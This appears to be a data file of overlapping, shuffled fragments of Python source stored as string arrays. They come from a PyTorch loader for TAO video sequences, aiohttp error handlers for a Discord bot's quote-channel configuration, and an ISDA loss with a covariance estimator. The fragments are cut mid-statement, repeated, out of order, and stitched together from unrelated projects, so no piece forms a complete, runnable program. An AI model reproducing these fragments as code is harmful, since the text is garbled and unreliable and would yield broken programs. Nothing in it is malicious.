"stride self.dilation = dilation if seqlen < 0: raise ValueError(\"seqlen",
"if os.path.isfile(videos): with open(videos, \"r\") as f: videos = tuple(f.read().split(\"\\n\"))",
"set `stride = seqlen * (dilation + 1)` (non-overlapping sequences).",
"\"r\") as f: videos = tuple(f.read().split(\"\\n\")) else: raise ValueError(\"incorrect filename:",
"the first frames of two consecutive extracted sequences. See above",
"self.return_img: color_seq = torch.stack(color_seq, 0).float() output.append(color_seq) if self.return_seg: output.append(seg_seq) if",
"None, start: Optional[int] = None, end: Optional[int] = None, height:",
"= [os.path.join(os.path.join(segdir, video), x.replace('.jpg','.png')) for x in file_names] video_len =",
"\"videos should either be path to split.txt or tuple of",
"None, stride: Optional[int] = None, start: Optional[int] = None, end:",
"dilation < 0: raise ValueError('\"dilation\" must be positive. Got {0}.'.format(dilation))",
"be path to split.txt or tuple of videos, but was",
"= self.Seg_data[idx] if self.return_points: points_seq_path = self.Points_data[idx] color_seq, seg_seq, points_seq",
"self.Points_data[idx] color_seq, seg_seq, points_seq = [], [], [] for i",
"in range(self.start, video_len, self.stride): if start_index + idx[-1] >= video_len:",
") # videos should be a tuple if isinstance(videos, str):",
"\"math: List of SuperPoint Features with length `L` \"\"\" #",
"`start=2`: .. code-block:: sequence0 ┎───────────────┲───────────────┲───────────────┒ | | | | frame0",
"`L` \"\"\" # Read in the color info. if self.return_img:",
"the extracted sequence. See above example if unsure. If None,",
"(int or None): Number of frames between the first frames",
"for every video. If None, will start from the first",
"import torch from torch.utils import data __all__ = [\"TAO\"] class",
"will start from the first frame. Default: None end (int):",
"640 return_seg (bool): Determines whether to return instance segmentation labels.",
"be positive. Got {0}.\".format(stride)) if not (end is None or",
"as f: videos = tuple(f.read().split(\"\\n\")) else: raise ValueError(\"incorrect filename: {}",
"of rgb images, instance segmentation labels, SuperPoint features (optional). Example",
"videos (str or tuple of str): Videos to use from",
"| | | └───────────────┵───────────────┵────────────────┚ sequence1 Args: basedir (str): Path to",
"of SuperPoint Features with length `L` \"\"\" # Read in",
"for i in range(self.seqlen): if self.return_img: image = cv2.imread(color_seq_path[i]) image",
"import cv2 import numpy as np import PIL.Image as Image",
"stride is None): raise TypeError(\"stride must be int or None.",
"[] idx = np.arange(self.seqlen) * (self.dilation + 1) rgbdir =",
"points = pickle.load(fp) points_seq.append(points) output = [] if self.return_img: color_seq",
"use from sequences (used for creating train/val/test splits). Can be",
"as np import PIL.Image as Image import pickle import torch",
"two consecutive frames in the extracted sequence. See above example",
"'Annotations/') for video in videos: file_names = [f for f",
"SuperPoint Features videoname (str): Videoname of Sequence Shape: - color_seq:",
"exist\".format(videos)) elif not (isinstance(videos, tuple)): msg = \"videos should either",
"from typing import Optional, Union import cv2 import numpy as",
"each frame seg_seq (torch.Tensor): Sequence of instance segmentation labels for",
"start ({1})\".format(end, start) ) # videos should be a tuple",
"ValueError(\"Base Directory: {} doesn't exist\".format(basedir)) self.height = height self.width =",
"If None, will set `dilation = 0`. Default: None stride",
"Default: False \"\"\" def __init__( self, basedir: str, videos: Union[tuple,",
"\"\"\" return self.num_sequences def __getitem__(self, idx: int): r\"\"\"Returns the data",
"return_seg (bool): Determines whether to return instance segmentation labels. Default:",
"frames. Default: 4 dilation (int or None): Number of (original",
"0 stride = stride if stride is not None else",
"Features. Default: False return_videonames (bool): Determines whether to return videonames",
"None else 0 stride = stride if stride is not",
"obj_ids[~np.isin(obj_ids, [0])] frame_ann = [] for obj_id in obj_ids: ann",
"a `.txt` file where each line is a Video Seqeunce",
"self.dilation = dilation if seqlen < 0: raise ValueError(\"seqlen must",
"image = image.permute(2,0,1) image /= 255 color_seq.append(image) if self.return_seg: instance_img"
] |
[
"message default_msg:str = \"Disabled quote channel does not exists\" if",
"**kwargs) -> Response: \"\"\" Optional keywords: ------------------ * msg `str`",
"res[\"msg\"] = msg cls.BASE.Logger.debug(f\"(API/Discord) 400 Channel does not exists: {WebRequest.path}\",",
"already exists \"\"\" res:dict = dict(status=400, error=\"discord_disabled_regularchannel_exists\") channel_id:str = kwargs.get(\"channel_id\",",
"\"\"\" Optional keywords: ------------------ * msg `str` : (Default: None)",
"optional keywords): ---------------------------------------------------- Disabled quote channel does not exists \"\"\"",
"for '{channel_name}'\" if channel_id: default_msg += f\" (Channel ID:{channel_id})\" msg:str",
"f\" for '{channel_name}'\" if channel_id: default_msg += f\" (Channel ID:{channel_id})\"",
"kwargs.get(\"msg\", default_msg) res[\"msg\"] = msg cls.BASE.Logger.debug(f\"(API/Discord) 400 Channel exists: {WebRequest.path}\",",
"Response from Utils.Classes.extendedrequest import ExtendedRequest async def apiDiscordConfigsQuoteDisabledChannelExists(cls:\"PhaazebotWeb\", WebRequest:ExtendedRequest, **kwargs)",
"channel_name: res[\"channel_name\"] = str(channel_name) # build message default_msg:str = \"Disabled",
"async def apiDiscordConfigsQuoteDisabledChannelExists(cls:\"PhaazebotWeb\", WebRequest:ExtendedRequest, **kwargs) -> Response: \"\"\" Optional keywords:",
"channel_id:str = kwargs.get(\"channel_id\", \"\") if channel_id: res[\"channel_id\"] = str(channel_id) channel_name:str",
"exists: {WebRequest.path}\", require=\"api:400\") return cls.response( text=json.dumps(res), content_type=\"application/json\", status=400 ) async",
"from Platforms.Web.main_web import PhaazebotWeb import json from aiohttp.web import Response",
"message (*gets altered by optional keywords): ---------------------------------------------------- Disabled quote channel",
"Disabled quote channel does not exists \"\"\" res:dict = dict(status=400,",
"= \"Disabled quote channel does not exists\" if channel_name: default_msg",
"PhaazebotWeb import json from aiohttp.web import Response from Utils.Classes.extendedrequest import",
"from aiohttp.web import Response from Utils.Classes.extendedrequest import ExtendedRequest async def",
"build message default_msg:str = \"Disabled quote channel already exists\" if",
"channel already exists \"\"\" res:dict = dict(status=400, error=\"discord_disabled_regularchannel_exists\") channel_id:str =",
"apiDiscordConfigsQuoteDisabledChannelNotExists(cls:\"PhaazebotWeb\", WebRequest:ExtendedRequest, **kwargs) -> Response: \"\"\" Optional keywords: ------------------ *",
"msg cls.BASE.Logger.debug(f\"(API/Discord) 400 Channel does not exists: {WebRequest.path}\", require=\"api:400\") return",
"res[\"channel_id\"] = str(channel_id) channel_name:str = kwargs.get(\"channel_name\", \"\") if channel_name: res[\"channel_name\"]",
"keywords): ---------------------------------------------------- Disabled quote channel already exists \"\"\" res:dict =",
"'{channel_name}'\" if channel_id: default_msg += f\" (Channel ID:{channel_id})\" msg:str =",
"default_msg += f\" (Channel ID:{channel_id})\" msg:str = kwargs.get(\"msg\", default_msg) res[\"msg\"]",
"ExtendedRequest async def apiDiscordConfigsQuoteDisabledChannelExists(cls:\"PhaazebotWeb\", WebRequest:ExtendedRequest, **kwargs) -> Response: \"\"\" Optional",
"---------------------------------------------------- Disabled quote channel already exists \"\"\" res:dict = dict(status=400,",
"\"\"\" res:dict = dict(status=400, error=\"discord_disabled_regularchannel_exists\") channel_id:str = kwargs.get(\"channel_id\", \"\") if",
"\"\"\" res:dict = dict(status=400, error=\"discord_disabled_regularchannel_not_exists\") channel_id:str = kwargs.get(\"channel_id\", \"\") if",
"if channel_name: res[\"channel_name\"] = str(channel_name) # build message default_msg:str =",
"# build message default_msg:str = \"Disabled quote channel already exists\"",
"altered by optional keywords): ---------------------------------------------------- Disabled quote channel does not",
"keywords): ---------------------------------------------------- Disabled quote channel does not exists \"\"\" res:dict",
"channel does not exists\" if channel_name: default_msg += f\" for",
"message default_msg:str = \"Disabled quote channel already exists\" if channel_name:",
"(Channel ID:{channel_id})\" msg:str = kwargs.get(\"msg\", default_msg) res[\"msg\"] = msg cls.BASE.Logger.debug(f\"(API/Discord)",
"keywords: ------------------ * msg `str` : (Default: None) * [Overwrites",
"* Default message (*gets altered by optional keywords): ---------------------------------------------------- Disabled",
"default_msg:str = \"Disabled quote channel already exists\" if channel_name: default_msg",
"typing import TYPE_CHECKING if TYPE_CHECKING: from Platforms.Web.main_web import PhaazebotWeb import",
"= msg cls.BASE.Logger.debug(f\"(API/Discord) 400 Channel exists: {WebRequest.path}\", require=\"api:400\") return cls.response(",
"ID:{channel_id})\" msg:str = kwargs.get(\"msg\", default_msg) res[\"msg\"] = msg cls.BASE.Logger.debug(f\"(API/Discord) 400",
"channel_name `str` * Default message (*gets altered by optional keywords):",
"* channel_name `str` * Default message (*gets altered by optional",
"+= f\" (Channel ID:{channel_id})\" msg:str = kwargs.get(\"msg\", default_msg) res[\"msg\"] =",
"by optional keywords): ---------------------------------------------------- Disabled quote channel already exists \"\"\"",
"does not exists: {WebRequest.path}\", require=\"api:400\") return cls.response( text=json.dumps(res), content_type=\"application/json\", status=400",
"kwargs.get(\"channel_id\", \"\") if channel_id: res[\"channel_id\"] = str(channel_id) channel_name:str = kwargs.get(\"channel_name\",",
"if channel_id: default_msg += f\" (Channel ID:{channel_id})\" msg:str = kwargs.get(\"msg\",",
"error=\"discord_disabled_regularchannel_not_exists\") channel_id:str = kwargs.get(\"channel_id\", \"\") if channel_id: res[\"channel_id\"] = str(channel_id)",
"import ExtendedRequest async def apiDiscordConfigsQuoteDisabledChannelExists(cls:\"PhaazebotWeb\", WebRequest:ExtendedRequest, **kwargs) -> Response: \"\"\"",
"= dict(status=400, error=\"discord_disabled_regularchannel_not_exists\") channel_id:str = kwargs.get(\"channel_id\", \"\") if channel_id: res[\"channel_id\"]",
"does not exists \"\"\" res:dict = dict(status=400, error=\"discord_disabled_regularchannel_not_exists\") channel_id:str =",
"require=\"api:400\") return cls.response( text=json.dumps(res), content_type=\"application/json\", status=400 ) async def apiDiscordConfigsQuoteDisabledChannelNotExists(cls:\"PhaazebotWeb\",",
"default_msg += f\" for '{channel_name}'\" if channel_id: default_msg += f\"",
"channel_id: res[\"channel_id\"] = str(channel_id) channel_name:str = kwargs.get(\"channel_name\", \"\") if channel_name:",
"\"\") if channel_name: res[\"channel_name\"] = str(channel_name) # build message default_msg:str",
"default] * channel_id `str` * * channel_name `str` * Default",
"None) * [Overwrites default] * channel_id `str` * * channel_name",
") async def apiDiscordConfigsQuoteDisabledChannelNotExists(cls:\"PhaazebotWeb\", WebRequest:ExtendedRequest, **kwargs) -> Response: \"\"\" Optional",
"= dict(status=400, error=\"discord_disabled_regularchannel_exists\") channel_id:str = kwargs.get(\"channel_id\", \"\") if channel_id: res[\"channel_id\"]",
"error=\"discord_disabled_regularchannel_exists\") channel_id:str = kwargs.get(\"channel_id\", \"\") if channel_id: res[\"channel_id\"] = str(channel_id)",
"import Response from Utils.Classes.extendedrequest import ExtendedRequest async def apiDiscordConfigsQuoteDisabledChannelExists(cls:\"PhaazebotWeb\", WebRequest:ExtendedRequest,",
"channel_name:str = kwargs.get(\"channel_name\", \"\") if channel_name: res[\"channel_name\"] = str(channel_name) #",
"channel_name: default_msg += f\" for '{channel_name}'\" if channel_id: default_msg +=",
"def apiDiscordConfigsQuoteDisabledChannelNotExists(cls:\"PhaazebotWeb\", WebRequest:ExtendedRequest, **kwargs) -> Response: \"\"\" Optional keywords: ------------------",
"WebRequest:ExtendedRequest, **kwargs) -> Response: \"\"\" Optional keywords: ------------------ * msg",
"cls.response( text=json.dumps(res), content_type=\"application/json\", status=400 ) async def apiDiscordConfigsQuoteDisabledChannelNotExists(cls:\"PhaazebotWeb\", WebRequest:ExtendedRequest, **kwargs)",
"400 Channel does not exists: {WebRequest.path}\", require=\"api:400\") return cls.response( text=json.dumps(res),",
"Default message (*gets altered by optional keywords): ---------------------------------------------------- Disabled quote",
"content_type=\"application/json\", status=400 ) async def apiDiscordConfigsQuoteDisabledChannelNotExists(cls:\"PhaazebotWeb\", WebRequest:ExtendedRequest, **kwargs) -> Response:",
"f\" (Channel ID:{channel_id})\" msg:str = kwargs.get(\"msg\", default_msg) res[\"msg\"] = msg",
"str(channel_id) channel_name:str = kwargs.get(\"channel_name\", \"\") if channel_name: res[\"channel_name\"] = str(channel_name)",
"`str` * * channel_name `str` * Default message (*gets altered",
"[Overwrites default] * channel_id `str` * * channel_name `str` *",
"channel already exists\" if channel_name: default_msg += f\" for '{channel_name}'\"",
"* [Overwrites default] * channel_id `str` * * channel_name `str`",
"* msg `str` : (Default: None) * [Overwrites default] *",
"-> Response: \"\"\" Optional keywords: ------------------ * msg `str` :",
"\"\") if channel_id: res[\"channel_id\"] = str(channel_id) channel_name:str = kwargs.get(\"channel_name\", \"\")",
"async def apiDiscordConfigsQuoteDisabledChannelNotExists(cls:\"PhaazebotWeb\", WebRequest:ExtendedRequest, **kwargs) -> Response: \"\"\" Optional keywords:",
"exists\" if channel_name: default_msg += f\" for '{channel_name}'\" if channel_id:",
"not exists \"\"\" res:dict = dict(status=400, error=\"discord_disabled_regularchannel_not_exists\") channel_id:str = kwargs.get(\"channel_id\",",
"return cls.response( text=json.dumps(res), content_type=\"application/json\", status=400 ) async def apiDiscordConfigsQuoteDisabledChannelNotExists(cls:\"PhaazebotWeb\", WebRequest:ExtendedRequest,",
"quote channel does not exists\" if channel_name: default_msg += f\"",
"quote channel does not exists \"\"\" res:dict = dict(status=400, error=\"discord_disabled_regularchannel_not_exists\")",
"`str` * Default message (*gets altered by optional keywords): ----------------------------------------------------",
"`str` : (Default: None) * [Overwrites default] * channel_id `str`",
"def apiDiscordConfigsQuoteDisabledChannelExists(cls:\"PhaazebotWeb\", WebRequest:ExtendedRequest, **kwargs) -> Response: \"\"\" Optional keywords: ------------------",
"json from aiohttp.web import Response from Utils.Classes.extendedrequest import ExtendedRequest async",
"\"Disabled quote channel already exists\" if channel_name: default_msg += f\"",
"str(channel_name) # build message default_msg:str = \"Disabled quote channel does",
"(Default: None) * [Overwrites default] * channel_id `str` * *",
"res[\"channel_name\"] = str(channel_name) # build message default_msg:str = \"Disabled quote",
"dict(status=400, error=\"discord_disabled_regularchannel_exists\") channel_id:str = kwargs.get(\"channel_id\", \"\") if channel_id: res[\"channel_id\"] =",
": (Default: None) * [Overwrites default] * channel_id `str` *",
"TYPE_CHECKING: from Platforms.Web.main_web import PhaazebotWeb import json from aiohttp.web import",
"dict(status=400, error=\"discord_disabled_regularchannel_not_exists\") channel_id:str = kwargs.get(\"channel_id\", \"\") if channel_id: res[\"channel_id\"] =",
"cls.BASE.Logger.debug(f\"(API/Discord) 400 Channel does not exists: {WebRequest.path}\", require=\"api:400\") return cls.response(",
"Channel exists: {WebRequest.path}\", require=\"api:400\") return cls.response( text=json.dumps(res), content_type=\"application/json\", status=400 )",
"Optional keywords: ------------------ * msg `str` : (Default: None) *",
"quote channel already exists \"\"\" res:dict = dict(status=400, error=\"discord_disabled_regularchannel_exists\") channel_id:str",
"400 Channel exists: {WebRequest.path}\", require=\"api:400\") return cls.response( text=json.dumps(res), content_type=\"application/json\", status=400",
"kwargs.get(\"msg\", default_msg) res[\"msg\"] = msg cls.BASE.Logger.debug(f\"(API/Discord) 400 Channel does not",
"quote channel already exists\" if channel_name: default_msg += f\" for",
"= kwargs.get(\"msg\", default_msg) res[\"msg\"] = msg cls.BASE.Logger.debug(f\"(API/Discord) 400 Channel does",
"msg `str` : (Default: None) * [Overwrites default] * channel_id",
"= \"Disabled quote channel already exists\" if channel_name: default_msg +=",
"Platforms.Web.main_web import PhaazebotWeb import json from aiohttp.web import Response from",
"cls.BASE.Logger.debug(f\"(API/Discord) 400 Channel exists: {WebRequest.path}\", require=\"api:400\") return cls.response( text=json.dumps(res), content_type=\"application/json\",",
"apiDiscordConfigsQuoteDisabledChannelExists(cls:\"PhaazebotWeb\", WebRequest:ExtendedRequest, **kwargs) -> Response: \"\"\" Optional keywords: ------------------ *",
"not exists\" if channel_name: default_msg += f\" for '{channel_name}'\" if",
"res[\"msg\"] = msg cls.BASE.Logger.debug(f\"(API/Discord) 400 Channel exists: {WebRequest.path}\", require=\"api:400\") return",
"status=400 ) async def apiDiscordConfigsQuoteDisabledChannelNotExists(cls:\"PhaazebotWeb\", WebRequest:ExtendedRequest, **kwargs) -> Response: \"\"\"",
"\"Disabled quote channel does not exists\" if channel_name: default_msg +=",
"from Utils.Classes.extendedrequest import ExtendedRequest async def apiDiscordConfigsQuoteDisabledChannelExists(cls:\"PhaazebotWeb\", WebRequest:ExtendedRequest, **kwargs) ->",
"channel_id `str` * * channel_name `str` * Default message (*gets",
"exists \"\"\" res:dict = dict(status=400, error=\"discord_disabled_regularchannel_not_exists\") channel_id:str = kwargs.get(\"channel_id\", \"\")",
"already exists\" if channel_name: default_msg += f\" for '{channel_name}'\" if",
"default_msg:str = \"Disabled quote channel does not exists\" if channel_name:",
"altered by optional keywords): ---------------------------------------------------- Disabled quote channel already exists",
"------------------ * msg `str` : (Default: None) * [Overwrites default]",
"Disabled quote channel already exists \"\"\" res:dict = dict(status=400, error=\"discord_disabled_regularchannel_exists\")",
"if TYPE_CHECKING: from Platforms.Web.main_web import PhaazebotWeb import json from aiohttp.web",
"channel does not exists \"\"\" res:dict = dict(status=400, error=\"discord_disabled_regularchannel_not_exists\") channel_id:str",
"build message default_msg:str = \"Disabled quote channel does not exists\"",
"Utils.Classes.extendedrequest import ExtendedRequest async def apiDiscordConfigsQuoteDisabledChannelExists(cls:\"PhaazebotWeb\", WebRequest:ExtendedRequest, **kwargs) -> Response:",
"exists \"\"\" res:dict = dict(status=400, error=\"discord_disabled_regularchannel_exists\") channel_id:str = kwargs.get(\"channel_id\", \"\")",
"if channel_id: res[\"channel_id\"] = str(channel_id) channel_name:str = kwargs.get(\"channel_name\", \"\") if",
"by optional keywords): ---------------------------------------------------- Disabled quote channel does not exists",
"= kwargs.get(\"channel_id\", \"\") if channel_id: res[\"channel_id\"] = str(channel_id) channel_name:str =",
"text=json.dumps(res), content_type=\"application/json\", status=400 ) async def apiDiscordConfigsQuoteDisabledChannelNotExists(cls:\"PhaazebotWeb\", WebRequest:ExtendedRequest, **kwargs) ->",
"optional keywords): ---------------------------------------------------- Disabled quote channel already exists \"\"\" res:dict",
"= str(channel_name) # build message default_msg:str = \"Disabled quote channel",
"res:dict = dict(status=400, error=\"discord_disabled_regularchannel_not_exists\") channel_id:str = kwargs.get(\"channel_id\", \"\") if channel_id:",
"# build message default_msg:str = \"Disabled quote channel does not",
"msg cls.BASE.Logger.debug(f\"(API/Discord) 400 Channel exists: {WebRequest.path}\", require=\"api:400\") return cls.response( text=json.dumps(res),",
"import json from aiohttp.web import Response from Utils.Classes.extendedrequest import ExtendedRequest",
"---------------------------------------------------- Disabled quote channel does not exists \"\"\" res:dict =",
"import PhaazebotWeb import json from aiohttp.web import Response from Utils.Classes.extendedrequest",
"= kwargs.get(\"channel_name\", \"\") if channel_name: res[\"channel_name\"] = str(channel_name) # build",
"= kwargs.get(\"msg\", default_msg) res[\"msg\"] = msg cls.BASE.Logger.debug(f\"(API/Discord) 400 Channel exists:",
"channel_id: default_msg += f\" (Channel ID:{channel_id})\" msg:str = kwargs.get(\"msg\", default_msg)",
"= str(channel_id) channel_name:str = kwargs.get(\"channel_name\", \"\") if channel_name: res[\"channel_name\"] =",
"msg:str = kwargs.get(\"msg\", default_msg) res[\"msg\"] = msg cls.BASE.Logger.debug(f\"(API/Discord) 400 Channel",
"Channel does not exists: {WebRequest.path}\", require=\"api:400\") return cls.response( text=json.dumps(res), content_type=\"application/json\",",
"does not exists\" if channel_name: default_msg += f\" for '{channel_name}'\"",
"default_msg) res[\"msg\"] = msg cls.BASE.Logger.debug(f\"(API/Discord) 400 Channel does not exists:",
"* channel_id `str` * * channel_name `str` * Default message",
"= msg cls.BASE.Logger.debug(f\"(API/Discord) 400 Channel does not exists: {WebRequest.path}\", require=\"api:400\")",
"default_msg) res[\"msg\"] = msg cls.BASE.Logger.debug(f\"(API/Discord) 400 Channel exists: {WebRequest.path}\", require=\"api:400\")",
"if channel_name: default_msg += f\" for '{channel_name}'\" if channel_id: default_msg",
"Response: \"\"\" Optional keywords: ------------------ * msg `str` : (Default:",
"from typing import TYPE_CHECKING if TYPE_CHECKING: from Platforms.Web.main_web import PhaazebotWeb",
"* * channel_name `str` * Default message (*gets altered by",
"{WebRequest.path}\", require=\"api:400\") return cls.response( text=json.dumps(res), content_type=\"application/json\", status=400 ) async def",
"not exists: {WebRequest.path}\", require=\"api:400\") return cls.response( text=json.dumps(res), content_type=\"application/json\", status=400 )",
"(*gets altered by optional keywords): ---------------------------------------------------- Disabled quote channel already",
"(*gets altered by optional keywords): ---------------------------------------------------- Disabled quote channel does",
"res:dict = dict(status=400, error=\"discord_disabled_regularchannel_exists\") channel_id:str = kwargs.get(\"channel_id\", \"\") if channel_id:",
"aiohttp.web import Response from Utils.Classes.extendedrequest import ExtendedRequest async def apiDiscordConfigsQuoteDisabledChannelExists(cls:\"PhaazebotWeb\",",
"str(channel_name) # build message default_msg:str = \"Disabled quote channel already",
"import TYPE_CHECKING if TYPE_CHECKING: from Platforms.Web.main_web import PhaazebotWeb import json",
"kwargs.get(\"channel_name\", \"\") if channel_name: res[\"channel_name\"] = str(channel_name) # build message",
"TYPE_CHECKING if TYPE_CHECKING: from Platforms.Web.main_web import PhaazebotWeb import json from",
"+= f\" for '{channel_name}'\" if channel_id: default_msg += f\" (Channel"
] |
[
"+ self.Amount.view(C, 1, 1).expand(C, A, A) ) weight_CV[weight_CV != weight_CV]",
"A, A) sum_weight_AV = onehot.sum(0).view(C, 1).expand(C, A) weight_CV = sum_weight_CV.div(",
"1, A ).expand( N, C, A ) onehot = torch.zeros(N,",
"1)) sigma2 = sigma2.mul(torch.eye(C)#.cuda() .expand(N, C, C)).sum(2).view(N, C) aug_result =",
"sum_weight_CV.div( sum_weight_CV + self.Amount.view(C, 1, 1).expand(C, A, A) ) weight_CV[weight_CV",
"feature_num)#.cuda() self.Ave = torch.zeros(class_num, feature_num)#.cuda() self.Amount = torch.zeros(class_num)#.cuda() def update_CV(self,",
"= model(x) y = fc(features) self.estimator.update_CV(features.detach(), target_x) isda_aug_y = self.isda_aug(fc,",
"(self.Ave - ave_CxA).view(C, 1, A) ) ) self.CoVariance = (self.CoVariance.mul(1",
"as nn class EstimatorCV(): def __init__(self, feature_num, class_num): super(EstimatorCV, self).__init__()",
"1)).view(N, C) sigma2 = ratio * \\ torch.bmm(torch.bmm(NxW_ij - NxW_kj,",
"__init__(self, feature_num, class_num): super(EstimatorCV, self).__init__() self.class_num = class_num self.CoVariance =",
"weight_CV] = 0 weight_AV = sum_weight_AV.div( sum_weight_AV + self.Amount.view(C, 1).expand(C,",
"onehot.sum(0) class ISDALoss(nn.Module): def __init__(self, feature_num, class_num): super(ISDALoss, self).__init__() self.estimator",
"A) ) weight_AV[weight_AV != weight_AV] = 0 additional_CV = weight_CV.mul(1",
"# (NxW_ij - NxW_kj).view(N * C, A, 1)).view(N, C) sigma2",
"labels): N = features.size(0) C = self.class_num A = features.size(1)",
"- weight_CV).mul( torch.bmm( (self.Ave - ave_CxA).view(C, A, 1), (self.Ave -",
"NxW_kj, CV_temp), (NxW_ij - NxW_kj).permute(0, 2, 1)) sigma2 = sigma2.mul(torch.eye(C)#.cuda()",
"= features.size(0) C = self.class_num A = features.size(1) weight_m =",
"weight_AV] = 0 additional_CV = weight_CV.mul(1 - weight_CV).mul( torch.bmm( (self.Ave",
"torch.zeros(N, C)#.cuda() onehot.scatter_(1, labels.view(-1, 1), 1) NxCxA_onehot = onehot.view(N, C,",
"self.class_num = class_num self.CoVariance = torch.zeros(class_num, feature_num, feature_num)#.cuda() self.Ave =",
"CV_temp), (NxW_ij - NxW_kj).permute(0, 2, 1)) sigma2 = sigma2.mul(torch.eye(C)#.cuda() .expand(N,",
"0] = 1 ave_CxA = features_by_sort.sum(0) / Amount_CxA var_temp =",
"ratio * \\ # torch.bmm(torch.bmm(NxW_ij - NxW_kj, # CV_temp).view(N *",
"weight_AV) + ave_CxA.mul(weight_AV)).detach() self.Amount += onehot.sum(0) class ISDALoss(nn.Module): def __init__(self,",
"labels.view(-1, 1), 1) NxCxA_onehot = onehot.view(N, C, 1).expand(N, C, A)",
"= weight_CV.mul(1 - weight_CV).mul( torch.bmm( (self.Ave - ave_CxA).view(C, A, 1),",
"= ratio * \\ # torch.bmm(torch.bmm(NxW_ij - NxW_kj, # CV_temp).view(N",
"self.CoVariance = (self.CoVariance.mul(1 - weight_CV) + var_temp .mul(weight_CV)).detach() + additional_CV.detach()",
"= EstimatorCV(feature_num, class_num) self.class_num = class_num self.cross_entropy = nn.CrossEntropyLoss() def",
"NxW_kj).view(N * C, A, 1)).view(N, C) sigma2 = ratio *",
"* \\ torch.bmm(torch.bmm(NxW_ij - NxW_kj, CV_temp), (NxW_ij - NxW_kj).permute(0, 2,",
"2, 1)) sigma2 = sigma2.mul(torch.eye(C)#.cuda() .expand(N, C, C)).sum(2).view(N, C) aug_result",
"(NxW_ij - NxW_kj).permute(0, 2, 1)) sigma2 = sigma2.mul(torch.eye(C)#.cuda() .expand(N, C,",
"class_num) self.class_num = class_num self.cross_entropy = nn.CrossEntropyLoss() def isda_aug(self, fc,",
"A) NxW_kj = torch.gather(NxW_ij, 1, labels.view(N, 1, 1) .expand(N, C,",
"ave_CxA).view(C, A, 1), (self.Ave - ave_CxA).view(C, 1, A) ) )",
"return aug_result def forward(self, model, fc, x, target_x, ratio): features",
"features_by_sort = NxCxFeatures.mul(NxCxA_onehot) Amount_CxA = NxCxA_onehot.sum(0) Amount_CxA[Amount_CxA == 0] =",
"onehot.scatter_(1, labels.view(-1, 1), 1) NxCxA_onehot = onehot.view(N, C, 1).expand(N, C,",
"additional_CV = weight_CV.mul(1 - weight_CV).mul( torch.bmm( (self.Ave - ave_CxA).view(C, A,",
"model(x) y = fc(features) self.estimator.update_CV(features.detach(), target_x) isda_aug_y = self.isda_aug(fc, features,",
"weight_CV) + var_temp .mul(weight_CV)).detach() + additional_CV.detach() self.Ave = (self.Ave.mul(1 -",
"self.estimator = EstimatorCV(feature_num, class_num) self.class_num = class_num self.cross_entropy = nn.CrossEntropyLoss()",
"torch.bmm( (self.Ave - ave_CxA).view(C, A, 1), (self.Ave - ave_CxA).view(C, 1,",
"torch.bmm(torch.bmm(NxW_ij - NxW_kj, CV_temp), (NxW_ij - NxW_kj).permute(0, 2, 1)) sigma2",
"1, 1) .expand(N, C, A)) CV_temp = cv_matrix[labels] # sigma2",
"- NxW_kj).view(N * C, A, 1)).view(N, C) sigma2 = ratio",
"sigma2 = sigma2.mul(torch.eye(C)#.cuda() .expand(N, C, C)).sum(2).view(N, C) aug_result = y",
"x, target_x, ratio): features = model(x) y = fc(features) self.estimator.update_CV(features.detach(),",
"= features.view( N, 1, A ).expand( N, C, A )",
"2, 0), var_temp.permute(1, 0, 2) ).div(Amount_CxA.view(C, A, 1).expand(C, A, A))",
"* C, A, 1)).view(N, C) sigma2 = ratio * \\",
"ISDALoss(nn.Module): def __init__(self, feature_num, class_num): super(ISDALoss, self).__init__() self.estimator = EstimatorCV(feature_num,",
"features.size(0) C = self.class_num A = features.size(1) NxCxFeatures = features.view(",
"+ self.Amount.view(C, 1).expand(C, A) ) weight_AV[weight_AV != weight_AV] = 0",
"features_by_sort - \\ ave_CxA.expand(N, C, A).mul(NxCxA_onehot) var_temp = torch.bmm( var_temp.permute(1,",
"= torch.gather(NxW_ij, 1, labels.view(N, 1, 1) .expand(N, C, A)) CV_temp",
"N, C, A ) onehot = torch.zeros(N, C)#.cuda() onehot.scatter_(1, labels.view(-1,",
"target_x, self.estimator.CoVariance.detach(), ratio) loss = self.cross_entropy(isda_aug_y, target_x) return loss, y",
"ave_CxA = features_by_sort.sum(0) / Amount_CxA var_temp = features_by_sort - \\",
"nn.CrossEntropyLoss() def isda_aug(self, fc, features, y, labels, cv_matrix, ratio): N",
"= NxCxFeatures.mul(NxCxA_onehot) Amount_CxA = NxCxA_onehot.sum(0) Amount_CxA[Amount_CxA == 0] = 1",
"= features_by_sort.sum(0) / Amount_CxA var_temp = features_by_sort - \\ ave_CxA.expand(N,",
"= class_num self.cross_entropy = nn.CrossEntropyLoss() def isda_aug(self, fc, features, y,",
"= self.class_num A = features.size(1) NxCxFeatures = features.view( N, 1,",
"= torch.zeros(class_num, feature_num)#.cuda() self.Amount = torch.zeros(class_num)#.cuda() def update_CV(self, features, labels):",
"sigma2 return aug_result def forward(self, model, fc, x, target_x, ratio):",
"self.estimator.update_CV(features.detach(), target_x) isda_aug_y = self.isda_aug(fc, features, y, target_x, self.estimator.CoVariance.detach(), ratio)",
"feature_num, class_num): super(ISDALoss, self).__init__() self.estimator = EstimatorCV(feature_num, class_num) self.class_num =",
"= 0 weight_AV = sum_weight_AV.div( sum_weight_AV + self.Amount.view(C, 1).expand(C, A)",
"A ) onehot = torch.zeros(N, C)#.cuda() onehot.scatter_(1, labels.view(-1, 1), 1)",
"weight_CV.mul(1 - weight_CV).mul( torch.bmm( (self.Ave - ave_CxA).view(C, A, 1), (self.Ave",
"- NxW_kj).permute(0, 2, 1)) sigma2 = sigma2.mul(torch.eye(C)#.cuda() .expand(N, C, C)).sum(2).view(N,",
"super(ISDALoss, self).__init__() self.estimator = EstimatorCV(feature_num, class_num) self.class_num = class_num self.cross_entropy",
"= torch.zeros(class_num)#.cuda() def update_CV(self, features, labels): N = features.size(0) C",
"(self.CoVariance.mul(1 - weight_CV) + var_temp .mul(weight_CV)).detach() + additional_CV.detach() self.Ave =",
"* sigma2 return aug_result def forward(self, model, fc, x, target_x,",
"NxCxA_onehot = onehot.view(N, C, 1).expand(N, C, A) features_by_sort = NxCxFeatures.mul(NxCxA_onehot)",
"self).__init__() self.class_num = class_num self.CoVariance = torch.zeros(class_num, feature_num, feature_num)#.cuda() self.Ave",
"torch.zeros(class_num, feature_num)#.cuda() self.Amount = torch.zeros(class_num)#.cuda() def update_CV(self, features, labels): N",
"C, A, 1)).view(N, C) sigma2 = ratio * \\ torch.bmm(torch.bmm(NxW_ij",
